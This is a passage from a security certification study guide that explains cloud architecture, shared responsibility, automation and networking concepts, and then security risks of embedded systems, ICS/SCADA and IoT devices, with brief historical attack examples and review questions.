or software-as-a-service models. As a third party, careful consideration regarding
cloud service provider selection, contract negotiation, service performance,
compliance, and communication practices is paramount. Organizations must adopt
robust vendor management strategies to mitigate cloud platform risks, ensure
service quality, and optimize cloud deployments. Service-level agreements (SLAs)
are contractual agreements between organizations and cloud service providers that
outline the expected levels of service delivery. SLAs define metrics, such as uptime,
performance, and support response times, along with penalties or remedies if
service levels are not met. SLAs provide a framework to hold vendors accountable
for delivering services at required performance levels.
Organizations must assess the security practices implemented by vendors to
protect their sensitive data, including data encryption, access controls, vulnerability
management, incident response procedures, and regulatory compliance, and are
responsible for ensuring compliance with data privacy requirements, especially
if they handle personally identifiable information (PII) or operate in regulated
industries. Vendor lock-in makes switching to alternative vendors or platforms
challenging or impossible, and so organizations must carefully evaluate data
portability, interoperability, and standardization to mitigate vendor lock-in risks.
Strategies like multi-cloud or hybrid cloud deployments can provide flexibility and
reduce reliance on a single vendor.

Responsibility Matrix
When using cloud infrastructure, security risks are not transferred but shared
between the cloud provider and the customer. The cloud provider is responsible
for securing the underlying infrastructure while the customer is responsible for
securing their applications and data. Choosing a cloud provider that offers robust
security features such as encryption, access controls, and network security is
important.
The shared responsibility model describes the balance of responsibility between a
customer and a cloud service provider (CSP) for implementing security in a cloud
platform. The division of responsibility becomes more or less complicated based on

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whether the service model is SaaS, PaaS, or IaaS. For example, in a SaaS model, the
CSP performs the operating system configuration and control as part of the service
offering. In contrast, operating system security is shared between the CSP and the
customer in an IaaS model. A responsibility matrix sets outs these duties in a
clear, tabular format:

Responsibility model

Identifying the boundary between customer and cloud provider responsibilities, in terms
of security, is imperative for reducing the risk of introducing vulnerabilities into your
environment.

In general terms, the responsibilities of the customer and the cloud provider
include the following areas:
Cloud Service Provider
• Physical security of the infrastructure

• Securing computer, storage, and network equipment

• Securing foundational elements of networking, such as DDoS protection

• Cloud storage backup and recovery

• Security of cloud infrastructure resource isolation among tenants

• Tenant resource identity and access control

• Security, monitoring, and incident response for the infrastructure

• Securing and managing the datacenters located in multiple geographic

regions

Cloud Service Customer

• User identity management

• Configuring the geographic location for storing data and running services

• User and service access controls to cloud resources

• Data and application security configuration

• Protection of operating systems, when deployed

• Use and configuration of encryption, especially the protection of keys

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The division of responsibility becomes more or less complicated based on whether

the service model is SaaS, PaaS, or IaaS. For example, in a SaaS model, the
configuration and control of networking is performed by the CSP as part of the
service offering. In an IaaS model, the responsibility for network configuration is
shared between the CSP and the customer.
An important core concept when using cloud resources is that the implementation
and management of security controls is not a “hands-off” endeavor, and identifying
the boundary between customer and CSP responsibilities requires a conscious effort.

Centralized and Decentralized Computing

Centralized computing architecture refers to a model where all data processing
and storage is performed in a single location, typically a central server. All users
and devices rely on the central server to access and process data and depend upon
the server administrator and controlling organization’s trustworthiness regarding
security and privacy decisions. Examples of centralized computing architecture
include mainframe computers and client-server architectures.
In contrast, decentralized computing architecture is a model in which data
processing and storage are distributed across multiple locations or devices.
No single device or location is responsible for all data processing and storage.
Decentralized computing architectures are an increasingly important design trend
impacting modern infrastructures.
The choice between centralized and decentralized architecture depends on an
organization’s specific needs and goals. Centralized architecture is often used in
large organizations with a need for strict control and management. In contrast,
decentralized architecture is used in situations where resilience and flexibility are
more important than central control.
Decentralized architecture is becoming increasingly popular as it offers several
benefits, such as improved fault tolerance, scalability, and unique security features.
Some noteworthy examples of decentralized architecture include the following:
• Blockchain is a distributed ledger technology that allows for secure,
transparent, and decentralized transactions.

• Peer-to-peer (P2P) networks are networks designed to distribute processing and

data storage among participating nodes instead of relying on a central server.

• Content delivery networks (CDNs) distribute content across multiple servers

to improve performance, reliability, and scalability.

• Internet of Things (IoT) devices can be connected in a decentralized network to

share data and processing power.

• Distributed databases distribute data across multiple servers, ensuring that

data is always available, even if one server goes down.

• TOR (The Onion Router) is a network that enables anonymous communication

and browsing. TOR routes traffic through a network of volunteer-operated
servers, or nodes, to hide a user’s location and internet activity.

Resilient Architecture Concepts

One of the benefits of the cloud is the potential to provide services resilient to failures
at different levels, such as components, servers, local networks, sites, ata centers, and
wide area networks. The CSP uses a virtualization layer to ensure that computer,
storage, and network provisions meet the availability criteria set out in its SLA.

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In terms of storage performance tiers, high availability (HA) refers to storage

provisioned with a guarantee of 99.99% uptime or better. As with on-premises
architecture, the CSP uses redundancy to make multiple disk controllers and
storage devices available to a pool of storage resources. Data may be replicated
between pools or groups, with each pool supported by separate hardware
resources.

Replication
Data replication allows businesses to copy data to where it can be utilized
most effectively. The cloud may be used as a central storage area, making
data available among all business units. Data replication requires low latency
network connections, security, and data integrity. CSPs offer several data storage
performance tiers (cloud.google.com/storage/docs/storage-classes). The terms
“hot storage” and “cold storage” refer to how quickly data is retrieved. Hot storage
retrieves data more quickly than cold, but the quicker the data retrieval, the higher
the cost.
Different applications have diverse replication requirements. A database generally
needs low-latency, synchronous replication, as a transaction often cannot be
considered complete until it has been made on all replicas. A mechanism to
replicate data files to backup storage might not have such high requirements,
depending on the criticality of the data.

High Availability Across Zones

CSPs divide the world into regions. Each region is independent of the others. The
regions are divided into availability zones. The availability zones have independent
datacenters with their own power, cooling, and network connectivity. You can
choose to host data, services, and VM instances in a particular region to provide a
lower latency service to customers. Provisioning resources in multiple zones and
regions can also improve performance and increases redundancy, but it requires an
adequate level of replication performance.
Consequently, CSPs offer several tiers of replication representing different high
availability service levels:
• Local replication—replicates your data within a single ata center in the region
where you created your storage account. The replicas are often in separate fault
domains and upgrade domains.

• Regional replication (also called zone-redundant storage)—replicates your data

across multiple datacenters within one or two regions. This safeguards data and
access in the event a single datacenter is destroyed or goes offline.

• Geo-redundant storage (GRS)—replicates your data to a secondary region

that is distant from the primary region. This safeguards data in the event of a
regional outage or a disaster.

Application Virtualization and Container Virtualization

Application virtualization is a more limited type of VDI. Rather than run the
whole client desktop as a virtual platform, the client either accesses an application
hosted on a server or streams the application from the server to the client for local
processing. Most application virtualization solutions are based on Citrix XenApp
(formerly MetaFrame Presentation Server), though Microsoft has developed
an App-V product with its Windows Server range and VMware has the ThinApp
product. These solution types are often used with HTML5 remote desktop apps,
referred to as “clientless” because users can access them through ordinary web
browser software.

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Containerization dispenses with the idea of a hypervisor and instead enforces

resource separation at the operating system level. The OS defines isolated “cells”
for each user instance to run in. Each cell or container is allocated CPU and memory
resources, but the processes all run through the native OS kernel. These containers
may run slightly different OS distributions but cannot run different types of guest
OSes (you could not run Windows or Ubuntu in a Red Hat Linux container, for
instance). Alternatively, the containers might run separate application processes, in
which case the variables and libraries required by the application process are added
to the container.
One of the best-known container virtualization products is Docker (docker.
com). Containerization underpins many cloud services. In particular, it supports
microservices and serverless architecture. Containerization is also being widely
used to implement corporate workspaces on mobile devices.

Comparison of VMs versus containers.

Cloud Architecture
Serverless Computing
Serverless computing is a cloud computing model in which the cloud provider
manages the infrastructure and automatically allocates resources as needed,
charging only for the actual usage of the application. In this approach, organizations
do not need to manage servers and other infrastructure, allowing them to focus on
developing and deploying applications.
Some examples of serverless computing applications include chatbots designed
to simulate conversations with human users to automate customer support, sales,
marketing tasks, and mobile backends. These are comprised of the server-side
components of mobile applications designed to provide data processing, storage,
communication services, and event-driven processing that respond to events or
triggers in real time such as sensor readings, alerts, or other similar events. Major
cloud providers like Amazon Web Services (AWS), Microsoft Azure, and Google
Cloud offer serverless computing capabilities, making it easier for organizations to
leverage this technology. Serverless computing provides a scalable, cost-effective,
and easy-to-manage infrastructure for event-driven and data-processing tasks.

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With serverless, all the architecture is hosted within a cloud, but unlike “traditional”
virtual private cloud (VPC) offerings, services such as authentication, web
applications, and communications aren’t developed and managed as applications
running on VM instances within the cloud. Instead, the applications are developed
as functions and microservices, each interacting with other functions to facilitate
client requests. Billing is based on execution time rather than hourly charges.
Examples of this type of service include AWS Lambda (aws.amazon.com/lambda),
Google Cloud Functions (cloud.google.com/functions), and Microsoft Azure
Functions (azure.microsoft.com/services/functions).
Serverless platforms eliminate the need to manage physical or virtual server
instances, so there is little to no management effort for software and patches,
administration privileges, or file system security monitoring. There is no
requirement to provision multiple servers for redundancy or load balancing. As all
of the processing is taking place within the cloud, there is little emphasis on the
provision of a corporate network. The service provider manages this underlying
architecture. The principal network security job is to ensure that the clients
accessing the services have not been compromised.
Serverless architecture depends heavily on event-driven orchestration to facilitate
operations. For example, multiple services are triggered when a client connects
to an application. The application needs to authenticate the user and device,
identify the location of the device and its address properties, create a session,
load authorizations for the action, use application logic to process the action,
read or commit information from a database, and log the transaction. This
design logic differs from applications written in a “monolithic” server-based
environment.

Microservices
Microservices is an architectural approach to building software applications as
a collection of small and independent services focusing on a specific business
capability. Each microservice is designed to be modular, with a well-defined
interface and a single responsibility. This approach allows developers to build and
deploy complex applications more efficiently by breaking them down into smaller,
more manageable components.
Microservices also enable teams to work independently on different application
features, making it easier to scale and update individual components without
affecting the entire system. Overall, microservices promise to help organizations
build more agile, scalable, and resilient applications that adapt quickly to changing
business needs. Risks associated with this model are largely attributed to
integration issues. While individual components operate well independently,
they often reveal problems difficult to isolate and resolve once they are
integrated.
Microservices and Infrastructure as Code (IaC) are related technologies, and
Microservices architecture is often implemented using IaC practices. Using IaC,
developers can define and deploy infrastructure as code, ensuring consistency
and repeatability across different environments. This allows for more efficient
development and deployment of microservices since developers can independently
automate the provisioning and deploying infrastructure for each microservice.

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Transformational Changes
Cloud computing offers many unique architectural services that differ from
traditional on-premises services. Cloud-native services allow organizations to
scale, innovate, and optimize their operations like never before. Important cloud
architectural services include offerings like elastic compute and auto-scaling, which
enable dynamic shifts in computing power in response to demand fluctuations.
Other services, such as serverless computing, significantly change application
development practices by abstracting traditional server resources.
Additionally, Cloud platforms provide advanced content delivery networks (CDN)
that optimize web traffic by caching content, and object storage provides massive,
unstructured data storage services that often replace traditional file servers.
Identity and access management tools provide advanced security features and
enable new methods of platform integration, while containerization and container
orchestration tools are changing how applications are deployed and managed. AI
and machine learning services, serverless databases, backend IoT services, and big
data analytics capabilities further expand the range of possibilities for organizations
utilizing the cloud. These cloud architectural services provide unprecedented
potential to large and small organizations. However, while these services are
undoubtedly driving transformative innovation, the rate of change and unfamiliar
risks present in cloud platforms fuel significant new security issues and record-
breaking data breaches.

Cloud Automation Technologies

Infrastructure as Code
Infrastructure as Code (IaC) is a software engineering practice that manages
computing infrastructure using machine-readable definition files. These files
contain code written in a specific format that can be read and executed by
machines. These files manage and provision computing infrastructure. Machine-
readable definition files are written in formats like YAML, JSON, and HCL (HashiCorp
Configuration Language.) They contain information about the desired infrastructure
state, including configuration settings, networking requirements, security policies,
and other settings. By using machine-readable definition files, infrastructure can be
deployed and managed automatically and consistently, reducing the risk of errors
caused by manual intervention.
These files are typically version-controlled and can be treated like any other code
in a software project. IaC allows developers and operations teams to automate
the process of deploying and managing infrastructure, reducing the likelihood of
errors and inconsistencies that can arise from manual configuration. By using IaC,
teams can also easily replicate infrastructure across different environments, such
as development, staging, and production, and ensure that their infrastructure
configuration is consistent and reproducible.

HCL (HashiCorp Configuration Language) is a configuration language developed by

HashiCorp and used in Infrastructure as Code (IaC) environments to manage and
provision computing infrastructure. HCL is similar to JSON and YAML in terms of syntax,
but it has some additional features that make it more suitable for infrastructure
management. It supports variables inside configuration files and has a concise syntax
that makes it easy to read and write. HCL is used in many popular HashiCorp tools,
including Terraform and Consul.

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Responsiveness
Load balancing, edge computing, and auto-scaling are critical mechanisms to
ensure responsiveness, improve performance, and effectively handle fluctuating
workloads.
• Load Balancing—Distributes network traffic across multiple servers or services
to improve performance and provide high availability. In the cloud, load
balancers are intermediaries (proxies) between users and back-end resources
like virtual machines or containers. They distribute incoming requests to
different resources using sophisticated algorithms and handle server capacity,
response time, and workload.

• Edge Computing—Optimizes the geographic location of resources and services

to enable faster processing and reduced latency. Instead of routing all data to
a centralized cloud datacenter, edge computing utilizes distributed computing
resources to minimize the distance data needs to travel, reducing network
latency and improving responsiveness. Edge computing is particularly beneficial
for applications that require real-time or low-latency processing, such as IoT
devices, content delivery networks (CDNs), and latency-sensitive applications.

• Auto-Scaling—Is an automated process that adjusts the computing resources

allocated to an application based on demand. Auto-scaling allows cloud
infrastructure to dynamically scale resources up or down to match the real-time
workload requirements. For example, during periods of high demand, additional
resources are provisioned automatically to handle the increased load, ensuring
optimal performance and responsiveness. In contrast, when demand decreases,
unnecessary resources are released back into a shared pool to reduce operating
costs or to make them available to other workloads.

These mechanisms optimize resource utilization, reduce latency, and allow

infrastructure to adapt on demand to changing workload patterns, resulting in a
highly responsive and efficient cloud environment.

Software Defined Networking

IaC is partly facilitated by physical and virtual network appliances that are fully
configurable via scripting and APIs. As networks become more complex—perhaps
involving thousands of physical and virtual computers and appliances—it becomes
more difficult to implement network policies, such as ensuring security and
managing traffic flow.
With so many devices to configure, it is better to take a step back and consider an
abstract model of how the network functions. In this model, network functions can
be divided into three “planes”:
• Control plane—makes decisions about how traffic should be prioritized,
secured, and where it should be switched.

• Data plane—handles the switching and routing of traffic and imposition of

security access controls.

• Management plane—monitors traffic conditions and network status.

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A software-defined networking (SDN) application can be used to define policy

decisions on the control plane. These decisions are then implemented on the
data plane by a network controller application, which interfaces with the network
devices using APIs. The interface between the SDN applications and the SDN
controller is described as the “northbound” API, while that between the controller
and appliances is the “southbound” API. SDN can be used to manage compatible
physical appliances, but also virtual switches, routers, and firewalls. The architecture
supporting the rapid deployment of virtual networking using general-purpose VMs
and containers is called network functions virtualization (NFV) (redhat.com/en/
topics/virtualization/what-is-nfv).
This architecture saves network and security administrators the job and complexity
of configuring appliance settings properly to enforce a desired policy. It also allows
for fully automated deployment (or provisioning) of network links, appliances,
and servers. This makes SDN an important part of the latest automation and
orchestration technologies.

Data plane devices managed by a control plane device and monitored by a

management plane. (Images © 123RF.com.)

Cloud Architecture Features

Public cloud infrastructure provides a wide range of available features to ensure
high uptime and minimal downtime for its customers. Data replication and
redundancy are among the key features, as public cloud providers replicate data
across multiple servers and datacenters to ensure data availability in the event
of a server or datacenter failure. Auto-scaling is also a critical feature that allows
resources to scale automatically based on demand, ensuring that applications can
handle high traffic volumes without downtime.
Public cloud providers offer disaster recovery services, including monitoring and
alerting tools, to proactively detect and respond to any issues that could impact
availability. Public cloud providers also typically offer service-level agreements
(SLAs) that guarantee a certain level of uptime and availability, including credits or
refunds if the provider fails to meet availability commitments.

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Considerations
Cost—should focus on solutions that best achieve operational goals while
maintaining the confidentiality, integrity, and availability of data, not simply cost
in cloud adoption. There are several cost models associated with running services
in the cloud, such as consumption-based or subscription-based, and most cloud
providers have tools designed to help estimate costs for migrating existing
workloads from on-premises to cloud. Using cloud services involves a shift from
capital expenses (CapEx) to operational expenses (OpEx). CapEx includes up-front
costs for purchasing hardware, software licenses, and infrastructure setup in
traditional on-premises IT infrastructure.
In contrast, cloud services are typically paid on a pay-as-you-go basis, allowing
organizations to convert CapEx into OpEx. Cloud services charge for usage and
resource consumption, eliminating the need for significant up-front investments.
This OpEx model provides flexibility, scalability, and cost optimization as
organizations pay only for the resources they use, making cloud services more cost-
effective from the viewpoint that they align expenses with actual usage. However,
resources not optimized to run on cloud infrastructure can present significant
challenges to the benefits this model advertises and generate overbearing recurring
costs.
Scalability—is one of the most valuable and compelling features of cloud
computing. It is the ability to dynamically expand and contract capacity in response
to demand with no downtime. There are two basic ways in which services can be
scaled. Scale-up (vertical scaling) describes adding capacity to an existing resource,
such as a processor, memory, and storage capacity. Scale-out (horizontal scaling)
describes adding additional resources, such as more instances (or virtual machines)
to work in parallel and increase performance.
Resilience—Cloud providers use redundant hardware, fault tolerance
capabilities(such as clustering), and data replication to store data across multiple
servers and datacenters, ensuring that data remains available if one server or
datacenter fails.
Ease of deployment—Cloud features supporting ease of deployment include
automation, standardization, and portability.
• Automating the deployment and management of cloud resources reduces
the need for manual intervention and is often achieved using configuration
management, container orchestration, and infrastructure as code.

• Standardized configurations, templates, and images simplify deployment and

ensure consistency.

• Portability ensures that applications and services can be easily moved between
different cloud infrastructures, avoiding vendor lock-in and providing greater
flexibility.

Ease of recovery—Cloud providers typically offer backup and restore functionality

to allow organizations to schedule automated backups and quickly restore data in
case of accidental deletion, corruption, or system failures. Cloud providers often
implement highly redundant and fault-tolerant architectures, distribute data and
services across multiple datacenters or availability zones, and reduce the risk of
data loss or service disruption by ensuring that workloads seamlessly failover if
one datacenter or zone experiences an outage. Additionally, cloud providers offer
disaster recovery services that enable organizations to replicate their environments
in different geographic regions to provide failover capabilities in the event of a
catastrophy.

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SLA and ISA—Service level agreements (SLAs) define expected service levels,
including performance, availability, and support commitments between cloud
service providers and organizations. It is essential to carefully review and negotiate
SLAs to ensure they align with business requirements and adequately protect the
organization’s interests. Interconnection Security Agreements (ISAs) establish the
security requirements and responsibilities between the organization and the cloud
service provider to safeguard sensitive data and ensure compliance with industry
regulations to help ensure the confidentiality, integrity, and availability of data and
systems within the cloud environment. ISAs help ensure data and system protection
within the cloud environment and define encryption methods, access controls,
vulnerability management, and data segregation techniques. The agreement
must also specify data ownership, audit rights, and data backup, recovery, and
retention procedures. Regulated industries must ensure that their cloud service
provider complies with relevant regulations, such as GDPR, HIPAA, or PCI DSS, and
the ISA must detail how the provider meets these compliance requirements and
include provisions for auditing and reporting to demonstrate ongoing compliance.
Additionally, the ISA should address the use of subcontractors and clearly define
the security responsibilities and requirements for their selection and the process
for notifying the organization of subcontractor changes.

Disaster recovery planning is still essential and should include procedures for restoring
critical systems, data, and applications and communicating with customers and other
stakeholders. Additionally, testing and validation, service-level agreements, and incident
response procedures must all be carefully considered when evaluating the ease of
recovery of cloud infrastructure.

Power—Cloud providers prioritize energy efficiency to reduce costs and

environmental impact by deploying energy-efficient hardware, optimizing cooling
systems, and implementing power management techniques. Additionally,
redundant power infrastructure ensures high availability and is enabled using
multiple power feeds, backup generators, and UPS systems to prevent service
disruptions. Power monitoring and management systems enable cloud providers to
track real-time power consumption within datacenters. These systems can help to
optimize resource allocation, identify energy-intensive infrastructure, and facilitiate
load balancing. Scalability in power provisioning refers to a provider’s ability to
dynamically allocate power resources based on customer demand. Power usage
effectiveness (PUE) is a metric used to measure datacenter energy efficiency. Cloud
providers strive for low PUE values, indicating efficient utilization of energy. A lower
PUE signifies that a larger proportion of the energy supplied to the datacenter is
used for computing purposes rather than supporting infrastructure.
Compute—Compute capabilities in cloud architecture provide the flexibility,
scalability, and efficiency necessary to manage and utilize computing resources.
Compute capabilities include elasticity, resource pooling, orchestration, automation,
and serverless computing, which contribute to delivering highly available, scalable,
and cost-effective computing environments in the cloud. Virtual networks facilitate
secure communication and traffic routing, while load balancing distributes network
traffic to optimize resource utilization and improve performance. Networking also
enables private and public connectivity, allowing organizations to establish secure
connections between on-premises infrastructure and cloud resources and enabling
external access to cloud-based applications. Additionally, networking supports
scalable and distributed architectures, enabling fault tolerance, high availability, and
efficient content delivery through specialized services such as CDNs.

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Cloud Security Considerations

Data protection—Data and applications are stored outside of an organization’s
privately managed infrastructure and are essentially stored “on the Internet” which
means that configuration mistakes can have disastrous consequences. Taking
careful precautions to protect data using access controls and encryption are
essential. Additionally, disaster recovery plans must still be developed in response
to any catastrophic events that impact the availability of cloud resources.
Patching—Cloud providers should have a clear policy regarding patch
management, including how often patches are released and how quickly the
provider will respond to critical vulnerabilities. Additionally, it’s essential to consider
how easy it is to apply patches to applications and systems running on the cloud
infrastructure. Patch availability can be ensured through various features, including
automated patch management, regular software updates, centralized patch
management, security monitoring, third-party software support. Having a plan
for testing and deploying patches ensures systems do not experience unplanned
downtime and remain secure.
Several factors can make patching cloud infrastructures difficult or even impossible
to accomplish consistently. One common challenge is the complexity of cloud
systems, which can make it difficult to identify and address vulnerabilities.
Additionally, some cloud providers may not allow customers to modify the
underlying infrastructure, making it impossible to install patches directly. In a cloud
environment, the cloud service provider manages the underlying infrastructure.
This lack of control can make it difficult or even impossible to apply patches
according to legal and regulatory requirements or timelines.

Secure Communication and Access

A Software-Defined Wide Area Network (SD-WAN) enables organizations to
connect their various branch offices, datacenters, and cloud infrastructure over
a wide area network (WAN). One of the key advantages of SD-WAN is its ability to
provide enhanced security features and considerations. For example, SD-WAN
uses encryption to protect data as it travels across the network and can segment
network traffic based on priority ratings to ensure that critical data is fully
protected.
Additionally, SD-WAN can intelligently route traffic based on the application and
tightly integrate with firewalls to provide additional protection against known
threats. SD-WAN centralizes the management of network security policies to
simplify enforcing security measures across an entire network.
Secure Access Service Edge (SASE) combines the protection of a secure access
platform with the agility of a cloud-delivered security architecture. SASE offers
a centralized approach to security and access, providing end-to-end protection
and streamlining the process of granting secure access to all users, regardless of
location. SASE is a network architecture that combines wide area networking (WAN)
technologies and cloud-based security services to provide secure access to cloud-
based applications and services.
SASE offers several security features to help organizations protect their networks
and data as SASE operates under a zero trust security model. SASE incorporates
Identity and Access Management (IAM) and assumes all users and devices are
untrusted until they are authenticated and authorized. SASE also provides a range
of threat prevention features, such as intrusion prevention, malware protection,
and content filtering.

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Review Activity:
Cloud Infrastructure
3

Answer the following questions:

1. What is a public cloud?

2. What type of cloud solution could be used to implement a SAN?

2.

3. What is a Type II hypervisor?

3.

4. What is IaC?
4.

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Topic 6B
Embedded Systems and Zero Trust
Architecture
5

EXAM OBJECTIVES COVERED

1.2 Summarize fundamental security concepts.
3.1 Compare and contrast security implications of different architecture models.

As security professionals, it is essential to understand concepts related to

embedded systems, the Internet of Things (IoT), industrial controls, and zero trust
architecture. As the adoption of embedded systems and IoT devices continue to
increase across industries, they introduce new and unique security challenges.
Understanding these technologies is crucial for implementing appropriate
security measures, ensuring resilience, and maintaining the integrity of critical
infrastructures.
Security professionals must also be well versed in zero trust concepts emphasizing
the “never trust, always verify” principle. Knowledge of these concepts
empowers security professionals to mitigate risks in an increasingly complex and
interconnected world.

Embedded Systems
Embedded systems are used in various specialized applications, including
consumer electronics, industrial automation, automotive systems, medical devices,
and more. Some examples include the following:
• Home appliances—Such as refrigerators, washing machines, and coffee
makers, contain embedded systems that control their functions and operations.

• Smartphones and tablets—Contain a variety of embedded systems, including

processors, sensors, and communication modules.

• Automotive systems—Like modern cars contain embedded systems including

engine control units, entertainment systems, and safety systems like airbags and
anti-lock brakes.

• Industrial automation—Embedded systems exist in control systems and

machinery, such as robots, assembly lines, and sensors.

• Medical devices—Such as pacemakers, insulin pumps, and blood glucose

monitors, contain embedded systems that control their functions and provide
data to healthcare providers.

• Aerospace and defense—Like aircrafts, satellites, and military equipment use

embedded systems for navigation, communication, and control.

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Real-Time Operating Systems

A Real-Time Operating Systems (RTOS) is a type of operating system designed
for use in applications that require real-time processing and response. They
are purpose-specific operating systems designed for high levels of stability and
processing speed.

Examples of RTOS
The VxWorks operating system is commonly used in aerospace and defense
systems. VxWorks provides real-time performance and reliability and is therefore
well suited for use in aircraft control systems, missile guidance systems, and other
critical defense systems. Another example of an RTOS is FreeRTOS, an open-source
operating system used in many embedded systems, such as robotics, industrial
automation, and consumer electronics.
In the automotive industry, RTOS is used in engine control, transmission control,
and active safety systems applications. For example, the AUTOSAR (Automotive
Open System Architecture) standard defines a framework for developing
automotive software, including using RTOS for certain applications. In medical
devices, RTOS is used for applications such as patient monitoring systems, medical
imaging, and automated drug delivery systems.
In industrial control systems, RTOS is used for process control and factory
automation applications. For example, the Siemens SIMATIC WinCC Open
Architecture system uses an RTOS to provide real-time performance and reliability
for industrial automation applications.

Risks Associated with RTOS

A security breach involving RTOS can have serious consequences. RTOS software
can be complex and difficult to secure, which makes it challenging to identify and
address vulnerabilities that could be exploited by attackers.
Another security risk associated with RTOS is the potential for system-level attacks.
An attacker who gains access to an RTOS-based system could potentially disrupt
critical processes or gain control over the system it is designed to control. This can
lead to serious consequences considering the types of applications that rely on
RTOS, such as medical devices and industrial control systems. A security breach
could result in harm to people or damage to equipment.

Industrial Control Systems

Workflow and Process Automation Systems
Industrial control systems (ICSs) provide mechanisms for workflow and process
automation. These systems control machinery used in critical infrastructure, like
power suppliers, water suppliers, health services, telecommunications, and national
security services. An ICS that manages process automation within a single site is
usually referred to as a distributed control system (DCS).
An ICS comprises plant devices and equipment with embedded PLCs. The PLCs are
linked either by an OT fieldbus serial network or by industrial Ethernet to actuators
that operate valves, motors, circuit breakers, and other mechanical components,
plus sensors that monitor some local state, such as temperature. Output and
configuration of a PLC are performed by one or more human-machine interfaces
(HMIs). An HMI might be a local control panel or software running on a computing
host. PLCs are connected within a control loop, and the whole process automation
system can be governed by a control server. Another important concept is the data
historian or a database of all the information the control loop generated.

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Supervisory Control and Data Acquisition (SCADA)

A supervisory control and data acquisition (SCADA) system takes the place of
a control server in large-scale, multiple-site ICSs. SCADA typically run as software
on ordinary computers, gathering data from and managing plant devices and
equipment with embedded PLCs, referred to as field devices. SCADA typically use
WAN communications, such as cellular or satellite, to link the SCADA server to field
devices.

ICS/SCADA Applications
These types of systems are used within many sectors of industry:
• Energy refers to power generation and distribution. More widely, utilities include
water/sewage and transportation networks.

• Industrial can refer specifically to mining and refining raw materials, involving
hazardous high heat and pressure furnaces, presses, centrifuges, pumps, and
so on.

• Fabrication and manufacturing refer to creating components and assembling

them into products. Embedded systems are used to control automated
production systems, such as forges, mills, and assembly lines. These systems
must work to extremely high precision.

• Logistics refers to moving things from where they were made or assembled to
where they need to be, either within a factory or for distribution to customers.
Embedded technology is used in control of automated transport and lift systems
plus sensors for component tracking.

• Facilities refer to site and building management systems, typically operating

automated heating, ventilation, and air conditioning (HVAC), lighting, and
security systems.

ICS/SCADA was historically built without regard to IT security, though there is now
high awareness of the necessity of enforcing security controls to protect them,
especially when they operate in a networked environment.

One infamous example of an attack on an embedded system is the Stuxnet worm

(wired.com/2014/11/countdown-to-zero-day-stuxnet). This was designed to attack the
SCADA management software running on Windows PCs to damage the centrifuges
used by Iran's nuclear fuels program. NIST Special Publication 800-82 covers some
recommendations for implementing security controls for ICS and SCADA (nvlpubs.nist.
gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf).

Industrial systems have different priorities than IT systems. Often hazardous

electromechanical components are involved, so safety is the overriding priority.
Industrial processes also prioritize availability and integrity over confidentiality—
reversing the CIA triad as the AIC triad.
Cybersecurity is paramount in Industrial Control Systems (ICS) and Supervisory
Control and Data Acquisition (SCADA) systems. These systems are associated with
critical infrastructure sectors such as energy, manufacturing, transportation, and
water treatment. Cyberattacks on these systems can severely impact public safety,
economic stability, and national security.

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ICS and SCADA systems control and monitor critical processes and operational
technologies, making them attractive targets for attackers. The consequences
of attacks range from widespread power outages and environmental damage
to economic losses and even loss of life. Malware, ransomware, unauthorized
access, and targeted attacks pose significant risks to ICS and SCADA systems, and
robust cybersecurity protections, including network segmentation, access controls,
intrusion detection systems, encryption, and continuous monitoring, are essential
to safeguarding these critical systems.

Internet of Things
The Internet of Things (IoT) refers to the network of physical devices, vehicles,
appliances, and other objects embedded with sensors, software, and connectivity,
enabling them to collect and exchange data.
Sensors are small devices designed to detect changes in the physical environment,
such as temperature, humidity, and motion. On the other hand, actuators can
perform actions based on data collected by sensors, such as turning on a light
or adjusting a thermostat. IoT devices communicate with each other and with
other (often public cloud-based) systems over the Internet to exchange data and
receive instructions. Cloud-based systems form an essential component of IoT
infrastructures as they provide the computational power needed to perform data
analytics on the large amounts of data generated by IoT devices.

IoT Examples
There are many IoT devices and applications in use today. For example, smart
homes often use IoT sensors and actuators to control lighting, temperature,
and security systems, allowing homeowners to monitor and adjust their homes
remotely. Smart cities also use IoT to manage traffic, monitor air quality, and
improve public safety. In the healthcare industry, IoT devices such as wearables
and implantable devices can collect data on patient health and send it to
healthcare providers for analysis. In agriculture, IoT sensors are used to monitor
soil conditions, weather patterns, and crop growth, helping farmers make more
informed decisions about planting and harvesting. IoT devices are used to improve
efficiency, convenience, and quality of life in a wide range of industries and
applications.

Factors Driving Adoption of IoT

Several factors drive the rapid adoption of IoT. The significantly decreased cost of
IoT sensors and devices over the past few years has made them more affordable
and accessible to businesses and consumers. This has enabled the development of
a wide range of IoT applications and services that were previously too expensive to
implement. Advances in connectivity technology, such as 5G and low-power wireless
networks, have made connecting and managing large numbers of IoT devices
easier and more efficient. This has also improved the speed and reliability of data
transmission, enabling real-time monitoring and response. The proverbial explosion
of data generated by IoT devices has led to new data analytics tools and techniques,
such as machine learning and artificial intelligence, that help organizations analyze
vast amounts of data and extract valuable insights.
The COVID-19 pandemic has accelerated the adoption of IoT in many industries,
particularly in healthcare, where remote monitoring and telemedicine have become
increasingly important. As more organizations recognize the value of IoT, adoption
is likely to continue to grow in the coming years.

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Security Risks Associated with IoT

There are several significant security risks associated with IoT. One major risk is the
large number of IoT devices deployed without adequate security measures. Many
IoT devices are designed with limited processing power and memory, making it
difficult to implement strong security controls. This can make them vulnerable to
cyberattacks, compromising data privacy, system integrity, and physical safety.
Another risk is the need for more standardization in IoT devices and protocols.
Compatibility issues can make integrating different IoT devices and services
difficult. It can also make implementing security controls more difficult, as different
devices may have different security requirements and protocols, making them
incompatible.
The sheer volume of data generated by IoT devices can make securing and
protecting sensitive information difficult. As more devices are connected to the
Internet, there is an increasing risk of data breaches and cyberattacks, which can
result in the theft of personal and sensitive data.
Examples of security issues caused by implementing or using IoT include the Mirai
botnet attack, which infected millions of IoT devices and used them to launch
massive distributed denial of service (DDoS) attacks on websites and online
services. In another case, a casino was hacked through a smart thermometer in a
fish tank, which was used as a backdoor to access the casino’s network. There have
also been cases of IoT devices being hacked to spy on individuals, such as baby
monitors and home security cameras.

"Casino Gets Hacked Through Its Internet-Connected Fish Tank Thermometer"

https://thehackernews.com/2018/04/iot-hacking-thermometer.html

IoT devices often have poor security characteristics for several reasons. IoT devices
are typically designed to focus on functionality rather than security and have
limited processing power and memory, making it difficult to implement strong
security controls. Many IoT devices must be low cost, making it challenging for
manufacturers to prioritize security features in their design and development
process. Many IoT devices are rushed to market without proper security testing,
resulting in vulnerabilities that cybercriminals can exploit.
